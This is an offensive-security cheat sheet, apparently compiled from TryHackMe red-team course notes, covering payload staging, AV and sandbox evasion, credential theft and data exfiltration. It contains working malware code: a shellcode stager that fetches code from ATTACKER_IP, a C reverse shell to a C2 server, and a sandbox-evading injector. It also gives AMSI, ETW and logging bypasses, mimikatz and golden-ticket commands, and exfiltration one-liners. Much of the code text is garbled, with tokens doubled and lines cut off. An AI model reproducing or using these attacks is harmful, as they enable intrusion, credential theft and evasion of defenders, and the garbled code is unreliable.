If you are attacking a host with very restricted network connectivity, you may want your whole payload to be in a single
package.
Staged:
Small footprint on disk. Since stage0 is only in charge of downloading the final shellcode, it will most likely be small in
size.
The final shellcode isn't embedded into the executable. If your payload is captured, the Blue Team will only have access to
the stage0 stub and nothing more.
The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV
solutions.
You can reuse the same stage0 dropper for many shellcodes, as you can simply replace the final shellcode that gets
served to the victim machine.
Public tools
msfvenom:
xxd -i payload.bin
See Assembly 🧱
Example
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationT
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-c
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
[!tip] Compile C#
csc staged-payload.cs
Requirements
To deliver we want to host on a https server with self-signed SSL certificate, host https with python: HTTPS Server
#### Self-signed Certificate ```shell openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -node ```
Shellcode Injection
#include <windows.h>
stager[
char stager [] = {
"shellcode_in_hex"
};
main(
int main()
{
DWORD oldProtect;
oldProtect;
VirtualProtect(
VirtualProtect (stager
stager,, sizeof(
sizeof(stager
stager)
), PAGE_EXECUTE_READ
PAGE_EXECUTE_READ,, &oldProtect
oldProtect));
shellcode)
int (*shellcode )() = (int
int(
(*)())(void
void*
*)stager
stager;;
shellcode(
shellcode ();
}
Encoding
Encoding practices:
Encryption
Symmetric or asymmetric keys
Public tools
List encryption methods with msfvenom :
Custom Encoder
Self-decoding payload
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
DllImport(
[DllImport ("kernel32"
"kernel32")
)]
VirtualAlloc(
private static extern UInt32 VirtualAlloc (UInt32 lpStartAddr
lpStartAddr,, UInt32 size
size,, UInt32 flAllocationT
[DllImport(( "kernel32")
DllImport "kernel32" ) ]
CreateThread(
private static extern IntPtr CreateThread (UInt32 lpThreadAttributes
lpThreadAttributes,, UInt32 dwStackSize
dwStackSize,, UInt32
DllImport(
[DllImport ("kernel32"
"kernel32"))]
WaitForSingleObject(
private static extern UInt32 WaitForSingleObject (IntPtr hHandle
hHandle,
, UInt32 dwMilliseconds
dwMilliseconds));
private static UInt32 MEM_COMMIT = 0x1000;
0x1000 ;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40 0x40;
;
byte[
private static byte [] xor
xor(
(byte
byte[
[] shell
shell,, byte
byte[
[] KeyBytes
KeyBytes))
{
for (int i = 0; i < shell.
shell.Length;
Length; i++
i++))
{
shell[
shell [i] ^= KeyBytes
KeyBytes[[i % KeyBytes
KeyBytes..Length
Length]];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
Packer
Packer will obfuscate the malicious code of the executable and only the packer stub visible
If the packer has a known signature - the AV might flag simply because of that
If the AV scans memory - the malicious code will be noticed (to avoid - see Runtime Detection Evasion)
Obfuscation principles
Object Concatenation
Yara rules looking for signatures, e.g. "Tryhackme" will not detect the following:
Reorder: '{1}{0}'-f'´hackme','Try'
Ticks: Tryhackme
Test payload
Test the payload towards own antivirus by starting with bits of the payload till you see the AV trigger - then you can
concatenate that part
Object names
Iostreams, also known as stdin or stdout - will all appear in strings output.. REPLACE
Code structure
Adding "junk code", reordering code and randomize the occurrence of related code will:
Harder to reverse
Heuristic signature engine may determine whether a program is malicious based on the surrounding functions or API calls
- can avoid
To prevent:
Signature Evasion
AMSITrigger
chimera
BettewXencrypt
ConPtyShell
lscript
Shellcode-Downloader-CreateThread-Execution
discover
pixload
Inlove-PSObfuscation
Regenerate hash
Open source - change and recompile
Entropy
Entropy is defined as “the randomness of the data in a file used to determine whether a file contains hidden data or
suspicious scripts.”
To lower entropy - change random names to English words ( thsre -> forest )
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
void RunShell(
RunShell(char
char*
* C2Server
C2Server,, int C2Port
C2Port)) {
SOCKET mySocket;
mySocket;
addr;
struct sockaddr_in addr ;
version;
WSADATA version ;
WSAStartup(
WSAStartup(MAKEWORD
MAKEWORD(
(2,2), &version
version)
);
WSASocketA(
mySocket = WSASocketA (AF_INET
AF_INET,
, SOCK_STREAM
SOCK_STREAM,
, IPPROTO_TCP
IPPROTO_TCP,, 0, 0, 0);
addr.
addr .sin_family = AF_INET
AF_INET;;
addr.
addr .sin_addr
sin_addr.
.s_addr = inet_addr
inet_addr(
(C2Server
C2Server)
);
addr.
addr .sin_port = htons
htons((C2Port
C2Port));
if (WSAConnect
WSAConnect((mySocket
mySocket,
, (SOCKADDR
SOCKADDR*
*)&addr
addr,
, sizeof
sizeof((addr
addr)
), 0, 0, 0, 0)</b>SOCKET_ERROR
SOCKET_ERROR)) {
closesocket(
closesocket (mySocket
mySocket)
);
WSACleanup(
WSACleanup ();
} else {
printf(
printf ("Connected to %s:%d\\n",
%s:%d\\n", C2Server
C2Server,, C2Port
C2Port));
Process[
char Process [] = "cmd.exe"
"cmd.exe";;
STARTUPINFO sinfo;
sinfo;
PROCESS_INFORMATION pinfo;
pinfo;
memset(
memset (&sinfo
sinfo,, 0, sizeof
sizeof((sinfo
sinfo)));
sinfo.
sinfo.cb = sizeof
sizeof((sinfo
sinfo)
);
sinfo.
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
STARTF_USESHOWWINDOW));
sinfo.
sinfo.hStdInput = sinfo
sinfo..hStdOutput = sinfo
sinfo.
.hStdError = (HANDLE
HANDLE)) mySocket
mySocket;;
CreateProcess(
CreateProcess (NULL
NULL,
, Process
Process,
, NULL
NULL,, NULL
NULL,
, TRUE
TRUE,, 0, NULL
NULL,
, NULL
NULL,, &sinfo
sinfo,, &pinfo
pinfo));
printf(
printf ("Process Created %lu\\n",
%lu\\n", pinfo
pinfo..dwProcessId
dwProcessId));
WaitForSingleObject(
WaitForSingleObject (pinfo
pinfo..hProcess
hProcess,
, INFINITE
INFINITE));
CloseHandle(
CloseHandle (pinfo
pinfo..hProcess
hProcess));
CloseHandle(
CloseHandle (pinfo
pinfo..hThread
hThread));
}
}
int main(
main(int argc
argc,, char **argv
argv)) {
if (argc <b> 3) {
atoi(
int port = atoi (argv
argv[
[2]);
RunShell(
RunShell (argv
argv[
[1], port
port)
);
}
else {
char host[
host[] = "10.10.10.10"
"10.10.10.10";
;
53;
int port = 53 ;
RunShell(
RunShell (host
host,
, port
port)
);
}
return 0;
}
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
// 0. Remove "shell"
// 0. Rename SOCKET
// 0. Split "cmd.exe"
// 0. Remove "C2"
// 0. Remove print lines
SOCKET s0;
struct sockaddr_in addr;
WSADATA version;
myWSAStartup(MAKEWORD(2,2), &version);
s0 = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = myinet_addr(Server);
addr.sin_port = myhtons(Port);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
}
Use smaller payloads. The smaller the payload, the less likely it is to be detected. If you use msfvenom to get a single
command executed instead of a reverse shell, the AV will have a harder time detecting it.
Geolocation. It the targeted company is in Europe but the binary is executed in the US, it will not detonate the payload.
Can fence to IP:s owned by the company as well.
System Information. Typically sandboxes have low system allocation, 1 CPU core and 4GB of RAM. Can make code query
for basic system resources.
Storage Medium Serial Number
PC Hostname
Virtualization Checks
Network information. Same principle as system informaiton. E.g.. almost no sandbox are joined in a domain.
Computers
User accounts
Domain Admins
Enterprise Admins
Domain Controllers
Service Accounts
DNS Servers
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <locale>
#include <string>
#include <urlmon.h>
#include <cstdio>
#include <lm.h>
#include <DsGetDC.h>
#pragma comment(
comment(lib,
lib, "urlmon.lib")
"urlmon.lib")
std;
using namespace std;
int downloadAndExecute(
downloadAndExecute()
{
hProcess;
HANDLE hProcess ;
//Update the dwSize variable with your shellcode size. This should be approximately 510 bytes
SIZE_T dwSize = 510;
510;
MEM_RESERVE;
DWORD flAllocationType = MEM_COMMIT | MEM_RESERVE;
DWORD flProtect = PAGE_EXECUTE_READWRITE
PAGE_EXECUTE_READWRITE;;
LPVOID memAddr;
memAddr;
SIZE_T bytesOut;
bytesOut;
//Update the OpenProcess Windows API with your Explorer.exe Process ID. This can be found in T
OpenProcess(
hProcess = OpenProcess (PROCESS_ALL_ACCESS
PROCESS_ALL_ACCESS,, FALSE
FALSE,, 4352
4352));
//Update the c2URL with your IP Address and the specific URI where your raw shellcode is store
const char*
char* c2URL = "http://10.8.68.136/index.raw";
"http://10.8.68.136/index.raw";
IStream*
IStream * stream
stream;;
//Update the buff[] variable to include your shellcode size
buff[
char buff [510
510]];
unsigned long bytesRead;
bytesRead;
string s;
s;
URLOpenBlockingStreamA(
URLOpenBlockingStreamA (0, c2URL
c2URL,, &stream
stream,, 0, 0);
true)
while (true ) {
//Update the Read file descriptor to include your shellcode size
stream->
stream ->Read
Read( (buff
buff,, 510
510,, &bytesRead
bytesRead));
bytesRead)
if (0U <b> bytesRead ) {
break;
}
s.append(buff, bytesRead);
}
memAddr = VirtualAllocEx(hProcess, NULL, dwSize, flAllocationType, flProtect);
BOOL isDomainController() {
LPCWSTR dcName;
string dcNameComp;
NetGetDCName(NULL, NULL, (LPBYTE*)&dcName);
wstring ws(dcName);
string dcNewName(ws.begin(), ws.end());
cout << dcNewName;
if (dcNewName.find("\\\\")) {
return FALSE;
}
else {
return TRUE;
}
}
BOOL checkIP()
{
const char* websiteURL = "http://10.10.10.10/";
IStream* stream;
string s;
char buff[35];
unsigned long bytesRead;
URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);
while (true) {
stream->Read(buff, 35, &bytesRead);
if (0U </b> bytesRead) {
break;
}
s.append(buff, bytesRead);
}
if (s <b> "10.10.52.169") {
return TRUE;
}
else {
return FALSE;
}
}
BOOL memoryCheck() {
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
GlobalMemoryStatusEx(&statex);
if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 1.00) {
return TRUE;
}
else {
return FALSE;
}
}
int main() {
Sleep(60000);
if (isDomainController() </b> TRUE) {
if (checkIP() <b> TRUE) {
if (memoryCheck() </b> TRUE) {
downloadAndExecute();
return 0;
}
}
}
return 0;
}
AMSI integration
User Account Control, or UAC
PowerShell
PowerShell downgrade
All security features regarding AMSI was implemented in PowerShell 5.0, so downgrading will avoid the security features:
PowerShell -Version #
Well known
Due to the simplicity of the attack - there's a plethera of ways it can be mitigated
Bypass ASMI
AMSI utility is stored in System.Management.Automation.AmsiUtils .NET assembly
Bypass by prepending the one-liner to the malicious code or run it in the same session
Assembly.
[Ref].Assembly .GetType
GetType(('System.Management.Automation.AmsiUtils'
'System.Management.Automation.AmsiUtils')
).GetField
GetField(
('amsiInitFailed'
'amsiInitFailed',
,'NonPub
$MethodDefintion = "
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(
IntPtr lpAddress, // Address region to modify
UIntPtr dwSize, // Size of region
uint flNewProtect, // Memory protection options
out uint lpflOldProtect // Pointer to store previous protection options
);
";
Automation
Generate a powershell AMSI bypass: http://amsi.fail/
UAC Bypassing
Integrity
Use
Level
Low Generally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions.
Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will
High
always use a high IL token.
Graphic bypass
Some applications are run with high IL due to "auto elevation", one of them is msconfig.exe
If the process can spawn a shell - it will inherit the same access
Auto Elevate
Applies to most of Control Panels functionality and .msc files
Example:
DelegateExecute is necessary for the class association to take effect - otherwise it will be overwritten by system
default
By instantly executing the program it will be a race between AV and payload - unreliable
CurVer is poiting at the correct progID - we can utilise it to confuse the AV and point to a different key and is more
likely to consistently avoid AV
Scheduled tasks
Have to use following settings:
Build and configure PSEtwLogProvider Modification, Group Policy Takeover, Log Pipeline Abuse,
Controllers
sessions Type Creation
Reflection
Reflect the ETW event provider assembly and set the field m_enabled to $null . It will no longer generate events from
commands.
Assembly.
$logProvider = [Ref].Assembly .GetType
GetType(('System.Management.Automation.Tracing.PSEtwLogProvider'
'System.Management.Automation.Tracing.PSEtwLogProvider') ) # 1
$logProvider.
$etwProvider = $logProvider.GetField
GetField(
('etwProvider'
'etwProvider',
,'NonPublic,Static'
'NonPublic,Static')).GetValue
GetValue(
($null
$null)
) # 2
GetField(
[System.Diagnostics.Eventing.EventProvider].GetField ('m_enabled'
'm_enabled',,'NonPublic,Instance'
'NonPublic,Instance')).SetValue
SetValue(
($e
Very noisy
Patching
By returning - it wont recognise the following events.
1. Obtain a handle for EtwEventWrite
oldProtect;
uint oldProtect ;
Win32.
Win32 .VirtualProtect
VirtualProtect((
etwFunction,
etwFunction ,
UIntPtr)
(UIntPtr )patch
patch..Length
Length,,
0x40,
0x40,
out oldProtect
);
patch(
patch (new byte
byte[
[] { 0xc2
0xc2,, 0x14
0x14,
, 0x00 });
Marshal.
Marshal .Copy
Copy(
(
patch,
patch ,
0,
etwEventSend,
etwEventSend ,
patch.
patch .Length
);
VirtualProtect(
VirtualProtect (etwFunction
etwFunction,, 4, oldProtect
oldProtect,, &oldOldProtect
oldOldProtect));
Win32.
Win32 .FlushInstructionCache
FlushInstructionCache((
etwFunction,
etwFunction ,
NULL
);
Once the function is patched in memory, it will always return when EtwEventWrite is called.
Very noisy
Event ID Purpose
Assembly.
$GroupPolicySettingsField = [ref].Assembly.GetType
GetType(
('System.Management.Automation.Utils'
'System.Management.Automation.Utils')
).GetField
GetField(
(
$GroupPolicySettingsField.
$GroupPolicySettings = $GroupPolicySettingsField .GetValue
GetValue(($null
$null))
$GroupPolicySettings[
$GroupPolicySettings ['ScriptBlockLogging'
'ScriptBlockLogging']
]['EnableScriptBlockLogging'
'EnableScriptBlockLogging']] = 0
$GroupPolicySettings[
$GroupPolicySettings ['ScriptBlockLogging'
'ScriptBlockLogging']
]['EnableScriptBlockInvocationLogging'
'EnableScriptBlockInvocationLogging']] = 0
Log Pipeline
Turn off module logging for session:
Microsoft.
$module = Get-Module Microsoft .PowerShell
PowerShell.
.Utility # Get target module
$module.
$module .LogPipelineExecutionDetails = $false # Set module execution details to false
Microsoft.
$snap = Get-PSSnapin Microsoft .PowerShell
PowerShell.
.Core # Get target ps-snapin
$snap.
$snap .LogPipelineExecutionDetails = $false # Set ps-snapin execution details to false
Commands history
Powershell:
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Configuration files (Web App, FTP files, etc.)
AD: Users description Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
Other Files related to Windows Applications (Internet Browsers, Email Clients, etc.)
Backup files
Registry
Search in registry: reg query HKLM /f password /t REG_SZ /s #OR reg query HKCU /f password /t REG_SZ
/s
Source code
cmdkey
cmdkey /list can be used in runas /savecred /user:...
LAPS
ms-mcs-AdmPwd attribute contains a clear-text password of the local administrator
Find-AdmPwdExtendedRights -Identity *
net groups "GroupWithPrivilege"
LAPS Password:
Procdump
Sysinternal tool procdump64.exe can be used as a replacement to mimikatz:
\procdump64.
.\procdump64 .exe -accepteula -ma lsass.
lsass.exe lsass.
lsass.dmp
With C2 you can then download and use mimikatz on your own system:
\mimikatz.
.\mimikatz .exe
sekurlsa::minidump lsass.
lsass.dmp
sekurlsa::logonPasswords full
Mimikatz:
!+ # Import mimidrv.sys
!processprotect /process:lsass.exe /remove
Secretsdump
Part of Impacket
Ntdsutil
Domain Controller:
ntdsutil
activate instance ntds
ifm # Install from media
create full C:\output-file
SYSTEM.
> SYSTEM...
SECURITY.
> SECURITY ...
Registry
DCsync
Remote, need credential access:
Kerberoasting
Requirement
AS-REP Roasting
Requirement
User list
Note that it takes a list with available domain account usernames. -format outputs hashes in hashcat/john format.
Mimikatz
Elevate privileges:
privilege::debug
token::elevate
lsadump::sam
sekurlsa::msv
lsadump::secrets
Credential manager:
sekurlsa::credman
log FILENAME.txt
Golden ticket:
Requirements
Get-ADDomain
Username to impersonate
KRBTGT hash
Values
Note that mimikatz will use id:500 as default and endin & renewmax has the default values for tickets. Also pretty
sure it defaults service:krbtgt . Can also use /user:Administrator
The KDC will only validate the user account in the TGT is older than 20 min - which means we can specify a disabled,
deleted or non-existent account in the TGT.
Rules and policies are specified in the TGT - we can overwrite values pushed by the KDC. E.g. ticket expiration time.
Rotating krbtgt account password is a pain an is not usually done - due to services not realising the TGT is no
longer valid.
Can bypass smart card authentication since it's verified against the DC
We can generate golden tickets on any machine - even locally to make less noise
CIFS
CIFS as a service is a safe bet since it allows file access.
Signed by machine account we target - only password hash we can access, thus can only impersonate users on that
host
Permissions determined by SID - can create a non-existing user as long as the SID is relevant to the host admin group
Extract CA certificate:
Kekeo
Source: https://github.com/gentilkiwi/kekeo
Generate TGT:
TGS requests:
Pass-the-Hash
Mimikatz
Process
Elevate privileges to extract hashes/tickets/keys and then revert so that you inject the hash into the compromised user
( token::revert )
token::revert
sekurlsa::pth /user:username /domain:domainname /ntlm:hash /run:"command"
Equivilant to runas
Pass-the-Ticket
sekurlsa::tickets /export
kerberos::ptt [0;427fcd5][email protected]
SYSTEM access
Extracting tickets from LSASS usually require SYSTEM access on the attacked machine - but not injecting tickets into
our session
Overpass-the-Hash / Pass-the-Key
Kerberos networks
sekurlsa::ekeys
Note
Pass-the-Key:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /[rc4/aes128/aes256]:96ea24eff4dff1fbe1
Connect to target:
RDP
psexec
Note: Linux version of psexec
WinRM
Smbclient
Wmiexec
Other
See: https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/
Password Harvesting
Windows
# Unattended Windows Installation
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# PS History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-Content (Get-PSReadlineOption).HistorySavePath
# PuTTy
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Linux
Target Command
User enter password in login prompt (failed login attempts) last -f /var/log/btmp
Question
Cloud
Cloud bucket paths:
https://s3.amazonaws.com/BUCKETNAME
https://www.googleapis.com/storage/v1/b/BUCKETNAME
https://ACCOUNTNAME.blob.core.windows.net/CONTAINERNAME
Hydra
Website:
Import-Module .\MSOLSpray.ps1
MailSniper: https://github.com/dafthack/MailSniper
Cracking
JohnTheRipper
Also:
zip2john
ssh2john
neo2john
rar2john
etc... https://www.kali.org/tools/john/
# unshadowed parser
cat unshadowed | awk +F: '{print $2}' | sort -u
Add rules
Custom rule
Edit: /etc/john/john.conf
Example
For [!@#$]word\d{2} (regex), for non-regex terms. Prepend with !@#$ and append with two digits on every given
word:
[List.Rules:rulename]
Az"[0-9][0-9]" ^[!@#$]
Hashcat
Mode (-a):
0 - wordlist
1 - combinatory wordlists
word + short word/number
3 - brute force
specify the format with markers:
?l - lower
?u - big
?d - digits
6 - wordlist + brute
wordlist + markers
7 - brute + wordlist
same as 6 but prepend markers
Hash (-m):
0 - md5
100 - sha1
1000 - NT
5600 - NTLMv2-SSP
7900 - Drupal 7
13100 - Kerberos 5
Rules (-r):
best64.rule
Example
hashcat -a 0 -m 1000 hash /usr/share/wordlists/rockyou.txt can also add --quiet for supressed output
Hijacking
Responder.py
A hijacking tool when on LAN network
Will listen as multiple services and pickup anything trying to make a connection, and
Inveigh
RDP hijacking
Note
If you have SYSTEM privileges on Windows Server 2016 and earlier, you can take over any existing RDP session without
requiring a password.
# List sessions
query user
# Connect to session
tscon ID /dest:SESSIONNAME
LDAP Pass-back
Host a rogue LDAP server:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# Verification
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
# Capture credentials
sudo tcpdump -SX -i breachad tcp port 389
Credential structure
Import-Module .\PowerPXE.ps1
Get-WimFile -bcdFile $BCDFile
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Get-FindCredentials -WimFile pxeboot.wim
🌐 Discovery (TA0007)
Enumerate Anti-virus (AV)
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | fin
Process fingerprints:
PowerShell
User information:
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *
Group information:
Domain:
AD-objects:
DateTime(
$ChangeDate = New-Object DateTime (2022
2022,, 02
02,, 28
28,, 12
12,, 00
00,, 00
00))
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.
za.tryhackme.
tryhackme.com
Sharphound / Bloodhound
Source: https://github.com/BloodHoundAD
Sharphound - collector:
Sharphound.ps1
Sharphound.exe
AzureHound.ps1
Sharphound
Enumeration Frequency
Due to the tool taking a snapshot, it will miss new active sessions and LogOn events. A good approach is to run it with
the method All initially and then run it twice a day during 10:00 and 14:00 local time.
Bloodhound
Start Bloodhound:
bloodhound --no-sandbox
Custom queries: Coercing authentication (one machine has admin privilege over another machine): MATCH p=
(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
Node Info
Overview - Provides summaries information such as the number of active sessions the account has and if it can reach
high-value targets.
Node Properties - Shows information regarding the AD account, such as the display name and the title.
Extra Properties - Provides more detailed AD information such as the distinguished name and when the account was
created.
Group Membership - Shows information regarding the groups that the account is a member of.
Local Admin Rights - Provides information on domain-joined hosts where the account has administrative privileges.
Execution Rights - Provides information on special privileges such as the ability to RDP into a machine.
Outbound Control Rights - Shows information regarding AD objects where this account has permissions to modify their
attributes.
Inbound Control Rights - Provides information regarding AD objects that can modify the attributes of this account.
nc pivotip port
Pivot:
mkfifo namedpipe
nc -lvp port < namedpipe | nc targetip port > namedpipe
Pivoting
Metasploit Route
Meterpreter portfwd pivot:
meterpreter > portfwd add -l 8000 -r 10.10.10.1 -p 80
All traffic on attackers port 8000 will route through meterpreter machine to 10.10.10.1 on port 80
SSH
SSH port forward:
Remote:
Can also SSH to victim and launch SOCKS proxy with -D -N : do not execute remote command (good when just port
forwarding)
Local:
Firewall
Due to opening a port - we might need to add a firewall rule to allow incomming connections with dir=in . Require
admin privilege: netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow
protocol=TCP localport=80
SOCKS proxy:
Match config
Firewall rule
Read more at SSH above. Rule: netsh advfirewall firewall add rule name="Open Port 3389" dir=in
action=allow protocol=TCP localport=3389
*Forwards all connections on 3389 to TARGET_IP:3389* ### netsh (LOL) netsh port forward (LOL): ```powershell netsh
interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100 connectport=80 ```
*Require administrator access*
More tools:
Sshuttle
Chisel
Psexec
Ports: 445/TCP (SMB)
1. Connect to Admin$ share and upload a service binary. Psexec uses psexesvc.exe as the name.
2. Connect to the service control manager to create and run a service named PSEXESVC and associate the service binary with
C:\Windows\psexesvc.exe .
WinRM
Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
We can achieve the same from Powershell, but to pass different credentials, we will need to create a PSCredential object:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Once we have our PSCredential object, we can create an interactive session using the Enter-PSSession cmdlet:
Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be
passed through a PSCredential object as well:
sc.exe
Ports:
135/TCP, 49152-65535/TCP (DCE/RPC)
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
Scheduled Task
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE
We set the schedule type (/sc) to ONCE, which means the task is intended to be run only once at the specified time and date.
Since we will be running the task manually, the starting date (/sd) and starting time (/st) won't matter much anyway.
schtasks /S TARGET /TN "THMtask1" /DELETE /F
'Administrator';
$username = 'Administrator' ;
$password = 'Mypass123'
'Mypass123';;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
Force;
System.
$credential = New-Object System .Management
Management.
.Automation
Automation.
.PSCredential $username
$username,, $securePassword
$securePassword;;
Ports:
135/TCP, 49152-65535/TCP (DCERPC)
Remote Services
Ports:
135/TCP, 49152-65535/TCP (DCERPC)
Create Service:
Start:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMSe
Invoke-CimMethod -InputObject $Service -MethodName StartService
Ports:
135/TCP, 49152-65535/TCP (DCERPC)
Create:
Delete:
MSI packeages
Ports:
135/TCP, 49152-65535/TCP (DCERPC)
# or via wmic
📥 Collection (TA0009)
Situational Awareness
Clipboard data
For Windows:
$x=""; while($true) { $y=get-clipboard -raw; if ($x -ne $y) { Write-Host $y; $x=$y } }
For macOS:
x=""; while true; do y='pbpaste'; if [ "$x" != "$y" ] ; then echo $y; x=$y; fi; done
Cloud Awareness
Target Command
List roles (permissions) associated with the user aws iam list-roles
List other user accounts to target (privesc targets) aws iam list-users
# Create C2 payload
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f e
# Create C2 payload
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f e
📨 Exfiltration (TA0010)
Netcat: Data Transfer
Listener:
Client:
TCP Socket
Easy to spot
Due to the usage of non-standard protocols, it will be easy for a well-secured network to spot
2. On target machine, send the data encoded in ebcdic and base64 encoded
SSH
SCP
Send: scp file.txt user@hostname:/tmp/file.txt
Other options:
-r : directory copy
SSH Client
tar cf - task5/ | ssh [email protected] "cd /tmp/; tar xpf -"
HTTP(S)
HTTP(S) POST
POST vs GET
Webserver
<?php
if (isset($_POST['file'])) {
$file = fopen("/tmp/http.bs64","w");
fwrite($file, $_POST['file']);
fclose($file);
}
?>
Compromised machine
POST
When using the --data argument, curl will handle it as a post request
Tunnelling
Example
X Windows over SSH
IP inside ICMP
Access app.thm.com
ICMP
Sender
For very small amount of data:
nping
nping sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt" sudo nping --icmp -c 1 ATTACKBOX_IP --data-string
"admin:password" sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
#### C2 icmpdoor
Sender:
```shell
sudo icmpdoor -i eth0 -d 192.168.0.133
Receiver:
DNS
Basics:
Tunneling: iodine
C2
-P : password authentication
Victim
SMB
smbserver.py
Part of Impacket
Host a fake smb to transfer files, connect with: copy file \\ATTACKERIP\public
💥 Impact (TA0040)
Support me
Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of
the following bellow!
Turn off Adblocker: A simple yet impactful way to support me for free.
Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
Buy Premium: Explore the Premium option for additional perks and exclusive content.
You can read more about the perks of being a Member or Subscriber here.
